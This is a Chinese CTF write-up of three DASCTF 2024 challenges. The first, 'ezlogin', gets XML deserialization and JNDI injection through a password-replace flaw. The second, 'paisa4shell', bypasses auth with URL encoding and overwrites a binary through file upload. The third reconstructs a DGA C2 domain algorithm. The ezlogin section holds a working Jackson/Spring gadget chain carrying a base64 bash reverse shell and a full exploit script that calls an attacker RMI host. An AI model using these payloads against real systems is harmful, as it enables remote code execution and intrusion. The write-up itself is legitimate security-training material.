# DASCTF 2024 十月赛
# ezlogin
EditController.edit 中 /editPass 路由接受用户输入的 newPass
UserUtil.changePassword 方法用到了 newPass 参数:
并且是 replace 进行修改
/del 接口
delUser:
没有重置 session,而 editPassword 的 oldPass 又是从 session 中拿的
可以通过 replace 是将 payload 注入到 newPass,用于 xml 反序列化
有长度限制,ban 了 java. 和 springframework.,不能直接 RCE
注意到 Spring 版本存在 Jackson 链子,直接打 JNDI 注入
先看一下他 xml 结构
1 2 3 4 5 6 7 8 9 10 <java > <object class =\ "org.example.auth.User \"> <void property =\ "username \"> <string > {0}</string > </void > <void property =\ "password \"> <string > {1}</string > </void > </object > </java >
JNDI 注入触发 gadget:
1 2 3 4 5 6 7 <java > <object class ="javax.naming.InitialContext" > <void method ="lookup" > <string > rmi://ip:port/a</string > </void > </object > </java >
长度限制可以用递归绕,即:
1 2 3 4 5 6 7 8 9 10 11 12 13 payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://" +rmiserver+"/a</string></void></object></java><!--" list1 = [] for i in range (0 ,len (payload1),5 ) : if len (payload1) - i >= 5 : list1.append(payload1[i:i+5 :]+"_____" ) else : list1.append(payload1[i:len (payload1)]) break print (list1)if len (list1[-1 ]) < 3 : list1[-1 ]=list1[-2 ][-8 :-5 :]+list1[-1 ] list1[-2 ]=list1[-2 ][0 :2 ]+list1[-2 ][-5 :-1 :] print (list1)
每五个字符一段并替换 “______” 为下一段 payload 即可
同时利用该方法修改注释掉的 xml 部分,每个 "<",">" 之间都修改为最短的三字符,即可缩短 xml 文件至最小长度。
官方给的预期最短 payload:
1 2 3 4 5 6 7 8 9 10 <java > <object class ="javax.naming.InitialContext" > <void method ="lookup" > <string > rmi://172.22.192.119:8888/a</string > </void > </object > </java >
修改 ysoserial 的 ysoserial.exploit.JRMPListener 来发送序列化数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 public static void serialize (Object obj) throws Exception { ObjectOutputStream objo = new ObjectOutputStream (new FileOutputStream ("ser.txt" )); objo.writeObject(obj); } public static void unserialize () throws Exception{ObjectInputStream obji = new ObjectInputStream (new FileInputStream ("ser.txt" ));obji.readObject(); } public static byte [][] generateEvilBytes() throws Exception{ClassPool cp = ClassPool.getDefault();cp.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass cc = cp.makeClass("evil" );String cmd = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL2lwLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}\");" ;cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(cp.get(AbstractTranslet.class.getName())); byte [][] evilbyte = new byte [][]{cc.toBytecode()};return evilbyte;} public static <T> void setValue (Object obj,String fname,T f) throws Exception{ Field filed = TemplatesImpl.class.getDeclaredField(fname); filed.setAccessible(true ); filed.set(obj,f); } ClassPool pool = ClassPool.getDefault();CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" );CtMethod wt = ctClass0.getDeclaredMethod("writeReplace" );ctClass0.removeMethod(wt); ctClass0.toClass(); TemplatesImpl tmp = new TemplatesImpl ();setValue(tmp,"_tfactory" ,new TransformerFactoryImpl ()); setValue(tmp,"_name" ,"123" ); setValue(tmp,"_bytecodes" ,generateEvilBytes()); AdvisedSupport support = new AdvisedSupport ();support.setTarget(tmp); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ).getConstructor(AdvisedSupport.class);constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class []{Templates.class},handler);ObjectMapper objmapper = new ObjectMapper ();ArrayNode arrayNode = objmapper.createArrayNode();arrayNode.addPOJO(proxy); BadAttributeValueExpException ex = new BadAttributeValueExpException ("1" ); Field f = BadAttributeValueExpException.class.getDeclaredField("val" ); f.setAccessible(true ); f.set(ex,arrayNode); oos.writeObject(ex); oos.flush(); out.flush();
并在 vps 上运行
1 2 3 mvn clean package --DskipTests cd target/java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 a a
启动 JRMPListener 后运行 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 import requestsimport systargeturl = "http://" +sys.argv[1 ] //靶机地址 rmiserver = sys.argv[2 ] //rmi服务器地址 sessions = {} def register (passwd ): data={"password" :passwd,"username" :"F" } res = requests.post(targeturl+"/register" ,data=data) if "success" in res.text.lower(): print (f"register {passwd} success" ) else : print (f"register fail: {res.text} " );exit(114514 ) def getsession (passwd ): data={"password" :passwd,"username" :"F" } res = requests.post(targeturl+"/login" ,data=data) if "redirect" in res.text.lower() : session=res.headers.get("Set-Cookie" ).split(";" )[0 ].split("=" )[1 ] print (f"session for {passwd} : {session} " ) headers = {"Cookie" : f"JSESSIONID={session} " } sessions[passwd] = headers else : print (f"login fail : {res.text} " );exit(114514 ) def editpass (oldpass,newpass ): data={"newPass" :newpass} headers = sessions[oldpass] res = requests.post(targeturl+"/editPass" ,data=data,headers=headers) if "success" in res.text.lower(): print (f"change {oldpass} to {newpass} success" ) else : print (f"edit fail : {res.text} " );exit(114514 ) def deluser (passwd ): res = requests.get(targeturl+"/del" ,headers=sessions[passwd]) if "success" in res.text.lower(): print (f"delete {passwd} success" ) def addsession (passwd ): register(passwd) getsession(passwd) deluser(passwd) payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://" +rmiserver+"/a</string></void></object></java><!--" list1 = [] for i in range (0 ,len (payload1),5 ) : if len (payload1) - i >= 5 : list1.append(payload1[i:i+5 :]+"_____" ) else : list1.append(payload1[i:len (payload1)]) break print (list1)if len (list1[-1 ]) < 3 : list1[-1 ]=list1[-2 ][-8 :-5 :]+list1[-1 ] list1[-2 ]=list1[-2 ][0 :2 ]+list1[-2 ][-5 :-1 :] print (list1)list2=[] payload2="11111 class=\"org.example.auth.User\"" for i in range (0 ,len (payload2),10 ) : if len (payload2) - i >= 10 : list2.append(payload2[i:i+10 :]) else : list2.append(payload2[i:len (payload2)]) break print (list2)for s in list2: addsession(s) list3=[] payload3="void property=\"username\"" for i in range (0 ,len (payload3),10 ) : if len (payload3) - i >= 10 : list3.append(payload3[i:i+10 :]) else : list3.append(payload3[i:len (payload3)]) break print (list3)list4=[] payload4="void property=\"password\"" for i in range (0 ,len (payload4),10 ) : if len (payload4) - i >= 10 : list4.append(payload4[i:i+10 :]) else : list4.append(payload4[i:len (payload4)]) break print (list4)addsession("_____" ) addsession("____" ) for s in list3: addsession(s) for s in list4: addsession(s) addsession("string" ) addsession("object" ) addsession("/void" ) addsession(" " ) addsession("1111111111" ) addsession("/11111" ) addsession("java" ) addsession("11111" ) register("haha" ) getsession("haha" ) editpass("java" ,"!--" ) editpass("string" ,"11111" ) editpass("object" ,"11111" ) editpass("/11111" ,"11111" ) editpass(" " ,"11111" ) editpass("/void" ,"111" ) for s in list2: editpass(s,"11111" ) for s in list3: editpass(s,"11111" ) for s in list4: editpass(s,"11111" ) editpass("1111111111" ,"11111" ) editpass("1111111111" ,"11111" ) editpass("haha" ,list1[0 ]) editpass("11111" ,"111" ) for payload in list1[1 ::]: editpass("_____" ,payload) editpass("____" ,"<!--" ) requests.post(targeturl+"/login" ,data={"username" :"F" ,"password" :"1" })
vps 反弹 shell
# paisa4shell
关于鉴权的绕过
这里用了 c.Request.RequestURI
来确定路由,但是 c.Request.RequestURI
是原始的请求 URI,gin 框架的路由选择是根据 c.Request.URL.Path
来确定的
c.Request.URL.Path
定义 :这是请求的路径部分,不包括查询参数和其他附加信息。
用途 :用于路由匹配,即 Gin 根据这个路径来决定哪个处理函数(路由)来处理这个请求。
示例 :对于请求 GET /users?id=123
, c.Request.URL.Path
的值是 /users
。
c.Request.RequestURI
定义 :这是请求的完整 URI,包括路径和查询字符串。
用途 :用于获取完整的请求信息 ,适合在日志记录或调试时 使用。
示例 :对于同样的请求 GET /users?id=123
, c.Request.RequestURI
的值是 /users?id=123
。
使用 URL 编码绕过:
1 2 3 GET /%61pi/config HTTP/1.1 Host: 127.0.0.1:7500 Connection: close
利用 /api/sheets/save
的任意文件上传漏洞覆盖 /usr/bin/ledger 文件
最后使用 /api/editor/validate
触发执行命令
# DGA C2
DGA 这个技术,是用来生成大量域名的算法,而黑客 ** 只需要在这些大量的域名中注册一个,即可与对应的被控机取得联系,** 当这域名被封锁或取缔后,黑客只需要重新再注册一个新的域名,即可把被控机重定向到一个新的 IP 上.
由于使用公共 dns 服务器,防火墙不可能封锁公共 dns, 所以这种技术被用来做 c2 远控
那么首先要分析一下这种技术
首先,DGA 不可能生成完全随机的域名 ,这种技术要求有一个事先约定好的算法,被控机根据算法推算域名并查询,而黑客则在域名列表中随机选择一个并注册,所以这个得是有限域,如果全随机,那么被控机很有可能无法生成出黑客想要的域名
那么有两种办法,
基于硬编码的或者现场下载的单词本,被控机根据单词本来组合并生成域名
伪随机,根据事先约定好的种子来生成
本题就是使用了伪随机生成器来生成域名
对 pcapng 分析:
题设说明了 DGA 技术,pcapng 中除了大量 dns 查询外还有一个时间查询 api 和 musl 的相关域名
这里实际上是给出了提示:
种子与时间有关
表明使用的 musl 实现的伪随机生成器
查询的域名数为 512, 提示了有限域而不是随机生成
再结合题目中 "每个月都有不一样的结果", 来看,种子和月份数有很大关联
接着再来分析 dns 请求的内容:
所有 dns 请求的域名都是 xxxxxxxxxx.top. 将前面 "xxxxxxxxxx" 提取出来进行分析,可以发现字符集为 a-z,0-9, 共 36 个字符
分析 musl 的伪随机数算法
musl rand () 生成出的数都很大,要与字符集中的字符对应,那么大概是取余并取索引.
使用 c 编写一个简单的 demo:
1 2 3 4 5 6 7 8 9 #include <stdlib.h> #include <stdio.h> int main () { srand(9 ); int result = rand() % 36 ; printf ("%d\n" , result); return 0 ; }
使用 musl-gcc 编译并运行后得到结果为 5, 也就是字符集中的第 6 个字符
现在需要猜测字符集的组成,最常见的就是:
1 abcdefghijklmnopqrstuvwxyz0123456789
取其中第 6 个,刚好得到 "f", 与流量中查询的第一个域名 "f0lzccun48.top" 对应
完善 DGA 算法
现在根据以上信息可以获得 DGA 算法的全貌了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <stdlib.h> int main () { srand(9 ); char charsets[] = "abcdefghijklmnopqrstuvwxyz0123456789" ; char domain[15 ] = "xxxxxxxxxx.xyz" ; printf ("[" ); for (int q = 0 ; q < 512 ; q++) { for (int i = 0 ; i < 10 ; i++) { domain[i] = charsets[rand() % 36 ]; } printf ("\"%s\"," , domain); } printf ("]" ); return 0 ; }
这样就可以得到和流量包中完全一样的域名了,把 srand (9) 换成 srand (10), 就得到了下个月的域名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import socketimport requestsfrom time import sleepdomains = ["......." ] def get_ipaddr (domain ): try : ip_addr = socket.gethostbyname(domain) print (f"{domain} 解析成功: {ip_addr} " ) return domain except Exception as e: print (f"{domain} 解析失败: {e} " ) return None results = [] import concurrent.futureswith concurrent.futures.ThreadPoolExecutor(max_workers=10 ) as executor: futures = {executor.submit(get_ipaddr, domain): domain for domain in domains} for future in concurrent.futures.as_completed(futures): result = future.result() if result: results.append(result) print (f"找到域名: {results} " )
再遍历所有域名,会发现其中只有一个有解析,访问过去,在 html 中即可找到 flag